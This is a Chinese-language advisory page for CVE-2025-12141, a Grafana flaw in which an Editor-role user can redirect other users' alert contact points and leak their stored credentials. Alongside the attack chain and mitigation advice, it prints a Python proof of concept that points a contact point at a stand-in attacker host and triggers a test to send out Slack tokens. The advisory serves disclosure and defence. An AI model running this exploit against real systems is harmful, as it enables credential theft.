IPBUF安全漏洞报告
English
CVE-2025-12141 CVSS 6.5 中危

CVE-2025-12141 Grafana 联系点权限绕过致信息泄露

披露日期: 2026-04-15

漏洞信息

漏洞编号
CVE-2025-12141
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Grafana

相关标签

信息泄露Grafana权限绕过IDORSSRFCWE-200

漏洞概述

Grafana 警报系统中存在严重的权限管理缺陷。拥有特定编辑权限(如 Editor 角色)的用户可以修改其他用户创建的联系点配置。攻击者能够将端点 URL 替换为受控服务器,并利用测试功能触发请求。这导致原本被隐藏的敏感设置(如 Slack 令牌等第三方服务凭证)在测试过程中被发送到攻击者的服务器,从而造成敏感信息泄露及外部集成服务被非法接管的风险。

技术细节

该漏洞的根源在于 Grafana 对联系点对象的访问控制逻辑存在缺陷。虽然系统通过“Contact Point Writer”或“Editor”角色分配了 alert.notifications:write 权限,但未正确限制用户仅能修改自己创建的资源,导致 IDOR(不安全的直接对象引用)类漏洞。攻击者利用该漏洞的流程如下:首先,攻击者以低权限用户身份登录,枚举并定位到由管理员创建的敏感联系点(例如配置了 Webhook 的 Slack 通知)。接着,通过 API 请求将该联系点的 URL 参数修改为攻击者控制的服务器地址。最后,攻击者调用 Grafana 的“Send Test”测试接口。系统在执行测试时,会从数据库中读取解密后的凭证信息,并将其封装在 HTTP 请求体中发送至目标 URL。由于 URL 已被篡改,包含凭证的完整请求被攻击者捕获,导致敏感信息泄露。

攻击链分析

STEP 1
1. 获取权限
攻击者获取 Grafana 的 Editor 角色账户,该角色拥有 alert.notifications:write 权限。
STEP 2
2. 枚举资源
攻击者浏览或通过 API 枚举现有的联系点,找到配置了敏感凭证(如 Slack Token)的目标联系点。
STEP 3
3. 篡改配置
攻击者修改目标联系点的配置,将其 URL 参数替换为攻击者控制的服务器地址(C2 Server)。
STEP 4
4. 触发泄露
攻击者调用 Grafana 的“Send Test”功能。系统将包含真实凭证的请求发送到攻击者设置的 URL。
STEP 5
5. 窃取凭证
攻击者在自己的服务器上接收请求,解析并提取出受害者的第三方服务认证凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2025-12141: Grafana Contact Point Sensitive Info Leak # Requirements: requests, valid Grafana session/cookie with Editor role import requests import json # Configuration GRAFANA_URL = "http://target-grafana:3000" API_KEY = "YOUR_EDITOR_API_KEY" # or use Cookie headers ATTACKER_SERVER = "http://attacker-server.com/capture" TARGET_CONTACT_POINT_UID = "uid-of-target-contact-point" # Uid of the victim's contact point headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # 1. Fetch current settings (optional, to preserve other fields) # GET /api/alert-notifications/uid/:uid # 2. Modify the Contact Point URL to attacker's server payload = { "uid": TARGET_CONTACT_POINT_UID, "name": "Slack - Modified", "type": "slack", "settings": { "url": ATTACKER_SERVER, # Malicious URL injection "token": "redacted_placeholder" # Grafana will replace this with real token during update/test }, "secureSettings": {} } print(f"[*] Updating contact point {TARGET_CONTACT_POINT_UID} to point to {ATTACKER_SERVER}...") update_url = f"{GRAFANA_URL}/api/alert-notifications/uid/{TARGET_CONTACT_POINT_UID}" r = requests.put(update_url, headers=headers, data=json.dumps(payload)) if r.status_code == 200: print("[+] Contact point updated successfully.") else: print(f"[-] Failed to update contact point: {r.text}") exit(1) # 3. Trigger the Test functionality to exfiltrate the token print(f"[*] Triggering test notification to send secrets...") test_url = f"{GRAFANA_URL}/api/alert-notifications/uid/{TARGET_CONTACT_POINT_UID}/test" r_test = requests.post(test_url, headers=headers) if r_test.status_code == 200: print("[+] Test triggered. Check your server for the captured credentials.") else: print(f"[-] Test failed: {r_test.text}")

影响范围

Grafana (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
在未升级补丁前,建议暂时撤销普通用户对联系点的写入权限(alert.notifications:write),仅保留管理员权限,或通过网络策略限制 Grafana 实例对外发起未知连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表